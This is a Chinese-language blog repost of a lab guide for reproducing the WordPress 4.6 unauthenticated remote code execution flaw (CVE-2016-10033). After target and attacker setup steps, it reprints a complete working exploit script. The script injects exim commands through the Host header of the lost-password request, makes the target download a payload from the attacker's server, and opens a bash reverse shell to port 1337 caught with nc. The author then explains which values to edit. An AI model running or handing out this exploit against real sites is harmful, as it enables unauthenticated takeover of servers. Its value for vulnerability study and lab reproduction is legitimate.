安全路透社
当前位置:安全路透社 > 网络转载 > 正文

WordPress 4.6远程代码执行漏洞(CVE-2016-10033)复现环境搭建指南

首先是找到网上的漏洞分析和poc脚本,WordPress <4.7.1 远程代码执行漏洞(非插件无需认证,附Poc,演示视频)——具体关于漏洞的分析不多说了,这个说得很好了,主要是说环境搭建。

搭建环境的步骤:

1.靶机

靶机不能是虚拟机 因为虚拟机修改了HOST头会无法访问

QQ图片20170505095936.jpg

靶机我是在一台电脑上装了ubuntu 16.04。

外加lamp环境 apache2 php7 mysql-server phpmyadmin。

具体的指令网上都有 这里就不赘述 然后直到看到it works。

下载wordpress4.6的安装压缩包 https://wordpress.org/wordpress-4.6.zip 。解压到/var/www/html/目录下 浏览器访问进行wordpress安装直到结束!注意这里会要求你输入后台管理员的邮箱,这个是和后面poc中的一部分挂钩的,后面会提到

靶机安装exim4而不是sendmail

sudo apt-get install exim4

上述命令用来安装exim4

 dpkg-reconfigure exim4-config

上述命令用来配置 第一个选项选第一个:internet site; mail is sent and received directly using SMTP 第二个选项输入:你IP对应的DNS名称(发邮件时显示的@后缀) 这里我直接写的ip好像。后面的我基本都默认就行

靶机需要安装curl

2.攻击机

为了方便运行poc,攻击机最好也是linux系统(里面有一些curl nc等指令)

需要安装python,因为会有python建立simple http server来让靶机从你这边获取东西

攻击机上运行 ./exp.sh [http://xx.xx.xx.xx/](http://xx.xx.xx.xx/) 即可 其中xx.xx.xx.xx为靶机wordpress的根地址

3.脚本需要修改的部分

    rev_host="192.168.57.1" #1
    function prep_host_header() {
      cmd="$1"
      rce_cmd="\${run{$cmd}}";
      # replace / with ${substr{0}{1}{$spool_directory}}
      #sed 's^/^${substr{0}{1}{$spool_directory}}^g'
      rce_cmd="`echo $rce_cmd | sed 's^/^\${substr{0}{1}{\$spool_directory}}^g'`"
      # replace ' ' (space) with
      #sed 's^ ^${substr{10}{1}{$tod_log}}$^g'
      rce_cmd="`echo $rce_cmd | sed 's^ ^\${substr{10}{1}{\$tod_log}}^g'`"
      #return "target(any -froot@localhost -be $rce_cmd null)"
      host_header="target(any -froot@localhost -be $rce_cmd null)"
      return 0
    }
    #cat exploitbox.ans
    intro="
    DQobWzBtIBtbMjFDG1sxOzM0bSAgICAuO2xjJw0KG1swbSAbWzIxQxtbMTszNG0uLGNka2tPT09r
    bzsuDQobWzBtICAgX19fX19fXxtbOEMbWzE7MzRtLiwgG1swbV9fX19fX19fG1s1Q19fX19fX19f
    G1s2Q19fX19fX18NCiAgIFwgIF9fXy9fIF9fX18gG1sxOzM0bScbWzBtX19fXBtbNkMvX19fX19c
    G1s2Q19fX19fX19cXyAgIF8vXw0KICAgLyAgXy8gICBcXCAgIFwvICAgLyAgIF9fLxtbNUMvLyAg
    IHwgIFxfX19fXy8vG1s3Q1wNCiAgL19fX19fX19fXz4+G1s2QzwgX18vICAvICAgIC8tXCBfX19f
    IC8bWzVDXCBfX19fX19fLw0KIBtbMTFDPF9fXy9cX19fPiAgICAvX19fX19fX18vICAgIC9fX19f
    X19fPg0KIBtbNkMbWzE7MzRtLmRkYzssLDpjOy4bWzlDG1swbSxjOhtbOUMbWzM0bS5jeHhjOjs6
    b3g6DQobWzM3bSAbWzZDG1sxOzM0bS5keHh4eG8sG1s1QxtbMG0uLCAgICxrTU1NMDouICAuLBtb
    NUMbWzM0bS5seHh4eHg6DQobWzM3bSAbWzZDG1sxOzM0bS5keHh4eHhjG1s1QxtbMG1sVy4gb01N
    TU1NTU1LICBkMBtbNUMbWzM0bS54eHh4eHg6DQobWzM3bSAbWzZDG1sxOzM0bS5keHh4eHhjG1s1
    QxtbMG0uMGsuLEtXTU1NV05vIDpYOhtbNUMbWzM0bS54eHh4eHg6DQobWzM3bSAbWzZDLhtbMTsz
    NG1keHh4eHhjG1s2QxtbMG0ueE4weHh4eHh4eGtYSywbWzZDG1szNG0ueHh4eHh4Og0KG1szN20g
    G1s2Qy4bWzE7MzRtZHh4eHh4YyAgICAbWzBtbGRkT01NTU1XZDBNTU1NS2RkZC4gICAbWzM0bS54
    eHh4eHg6DQobWzM3bSAbWzZDG1sxOzM0bS5keHh4eHhjG1s2QxtbMG0uY05NTU1OLm9NTU1NeCcb
    WzZDG1szNG0ueHh4eHh4Og0KG1szN20gG1s2QxtbMTszNG0uZHh4eHh4YxtbNUMbWzBtbEtvO2RO
    TU4ub01NMDs6T2suICAgIBtbMzRtJ3h4eHh4eDoNChtbMzdtIBtbNkMbWzE7MzRtLmR4eHh4eGMg
    ICAgG1swbTtNYyAgIC5seC46bywgICAgS2wgICAgG1szNG0neHh4eHh4Og0KG1szN20gG1s2Qxtb
    MTszNG0uZHh4eHh4ZGw7LiAuLBtbMTVDG1swOzM0bS4uIC47Y2R4eHh4eHg6DQobWzM3bSAbWzZD
    G1sxOzM0bS5keHh4eCAbWzBtX19fX19fX18bWzEwQ19fX18gIF9fX19fIBtbMzRteHh4eHg6DQob
    WzM3bSAbWzdDG1sxOzM0bS4nOm94IBtbMG1cG1s2Qy9fIF9fX19fX19fXCAgIFwvICAgIC8gG1sz
    NG14eGMsLg0KG1szN20gG1sxMUMbWzE7MzRtLiAbWzBtLxtbNUMvICBcXBtbOEM+G1s3QzwgIBtb
    MzRteCwNChtbMzdtIBtbMTJDLxtbMTBDLyAgIHwgICAvICAgL1wgICAgXA0KIBtbMTJDXF9fX19f
    X19fXzxfX19fX19fPF9fX18+IFxfX19fPg0KIBtbMjFDG1sxOzM0bS4nOm9keC4bWzA7MzRtY2t4
    bCwuDQobWzM3bSAbWzI1QxtbMTszNG0uLC4bWzA7MzRtJy4NChtbMzdtIA0K"
    intro2="
    ICAgICAgICAgICAgICAgICAgIBtbNDRtfCBFeHBsb2l0Qm94LmlvIHwbWzBtCgobWzk0bSsgLS09
    fBtbMG0gG1s5MW1Xb3JkcHJlc3MgQ29yZSAtIFVuYXV0aGVudGljYXRlZCBSQ0UgRXhwbG9pdBtb
    MG0gIBtbOTRtfBtbMG0KG1s5NG0rIC0tPXwbWzBtICAgICAgICAgICAgICAgICAgICAgICAgICAg
    ICAgICAgICAgICAgICAgICAgICAbWzk0bXwbWzBtChtbOTRtKyAtLT18G1swbSAgICAgICAgICBE
    aXNjb3ZlcmVkICYgQ29kZWQgQnkgICAgICAgICAgICAgICAgG1s5NG18G1swbQobWzk0bSsgLS09
    fBtbMG0gICAgICAgICAgICAgICAbWzk0bURhd2lkIEdvbHVuc2tpG1swbSAgICAgICAgICAgICAg
    ICAgIBtbOTRtfBtbMG0gChtbOTRtKyAtLT18G1swbSAgICAgICAgIBtbOTRtaHR0cHM6Ly9sZWdh
    bGhhY2tlcnMuY29tG1swbSAgICAgICAgICAgICAgG1s5NG18G1swbSAKG1s5NG0rIC0tPXwbWzBt
    ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAbWzk0bXwbWzBt
    ChtbOTRtKyAtLT18G1swbSAiV2l0aCBHcmVhdCBQb3dlciBDb21lcyBHcmVhdCBSZXNwb25zaWJp
    bGl0eSIgG1s5NG18G1swbSAKG1s5NG0rIC0tPXwbWzBtICAgICAgICAqIEZvciB0ZXN0aW5nIHB1
    cnBvc2VzIG9ubHkgKiAgICAgICAgICAbWzk0bXwbWzBtIAoKCg=="
    echo "$intro"  | base64 -d
    echo "$intro2" | base64 -d
    if [ "$#" -ne 1 ]; then
    echo -e "Usage:\n$0 target-wordpress-url\n"
    exit 1
    fi
    target="$1"
    echo -ne "\e[91m[*]\033[0m"
    read -p " Sure you want to get a shell on the target '$target' ? [y/N] " choice
    echo
    if [ "$choice" == "y" ]; then
    echo -e "\e[92m[*]\033[0m Guess I can't argue with that... Let's get started...\n"
    echo -e "\e[92m[+]\033[0m Connected to the target"
    # Serve payload/bash script on :80
    RCE_exec_cmd="(sleep 3s && nohup bash -i >/dev/tcp/$rev_host/1337 0<&1 2>&1) &"
    echo "$RCE_exec_cmd" > rce.txt
    python -mSimpleHTTPServer 80 2>/dev/null >&2 &
    hpid=$!
    # Save payload on the target in /tmp/rce
    cmd="/usr/bin/curl -o/tmp/rce $rev_host/rce.txt"
    prep_host_header "$cmd"
    curl -H"Host: $host_header" -s -d 'user_login=admin&wp-submit=Get+New+Password' $target/wp-login.php? action=lostpassword #2
    echo -e "\n\e[92m[+]\e[0m Payload sent successfully"
    # Execute payload (RCE_exec_cmd) on the target /bin/bash /tmp/rce
    cmd="/bin/bash /tmp/rce"
    prep_host_header "$cmd"
    curl -H"Host: $host_header" -d 'user_login=admin&wp-submit=Get+New+Password' $target/wp-login.php?action=lostpassword & #3
    echo -e "\n\e[92m[+]\033[0m Payload executed!"
    echo -e "\n\e[92m[*]\033[0m Waiting for the target to send us a \e[94mreverse shell\e[0m...\n"
    nc -vv -l 1337
    echo
    else
    echo -e "\e[92m[+]\033[0m Responsible choice ;)
  Exiting.\n"
    exit 0
    fi
    echo "Exiting..."
    exit 0

三个地方 第一处 #1 line 1

rev_host="192.168.57.1" #1

这边要替换成你的攻击机的ip地址,一般是和靶机处在一个局域网内的,可以提前访问下wordpress的网站进行测试。

第二处 #2 line 75第三处 #3 line 80

curl -H"Host: $host_header" -s -d 'user_login=admin&wp-submit=Get+New+Password' $target/wp-login.php?action=lostpassword #2
echo -e "\n\e[92m[+]\e[0m Payload sent successfully"
# Execute payload (RCE_exec_cmd) on the target /bin/bash /tmp/rce
cmd="/bin/bash /tmp/rce"
prep_host_header "$cmd"
curl -H"Host: $host_header" -d 'user_login=admin&wp-submit=Get+New+Password' $target/wp-login.php?action=lostpassword & #3

这两个地方主要要修改的可能是 user_login=admin 这个参数,这个poc里默认的是admin

这里其实就是你装wordpress时管理员的或者任意一个用户的邮箱

因为找回密码时他会先判断邮箱是否存在,再进行下一步

如果这里邮箱不存在 你发包是返回200 告诉你邮箱不存在

如果是存在有的邮箱,就是返回302跳转到输入邮箱密码的界面 同时告诉你邮件已经发了

下面是burp模拟攻击时候的抓包 返回的是302时说明已经命令执行成功

QQ截图20170505101651.png

可以看到靶机上也确实出现了rce文件   

这边执行的命令是 /usr/bin/curl -o/tmp/rce $rev_host/rce.txt

微信图片_20170505110151.jpg

这三个地方改好了之后,脚本就可以运行了

(里面的一些test和输出是我调的时候自己加的不用在意…)

QQ截图20170505103135.png

脚本的主要流程:

  1. 生成本地rce.txt 里面写的是是建立连接的命令
  2. 命令执行第一次 curl攻击机获取rce.txt 写到/tmp目录下
  3. 命令执行第二次 运行tmp目录下的rce
  4. nc连接靶机

效果不错,但是局限性较多,比如不能用虚拟机 还有要安装exim4等

这次复现一开始我都在纠结我的wp不能发邮件,还配置SMTP服务器什么的,后来发现其实这不是问题所在,

所以最重要的还是搞清楚到底是需要什么样的验证环境,需要安装那些东西,可以少走很多弯路。

*本文作者:p1nk0

未经允许不得转载:安全路透社 » WordPress 4.6远程代码执行漏洞(CVE-2016-10033)复现环境搭建指南

赞 (2)
分享到:更多 ()

评论 0

评论前必须登录!

登陆 注册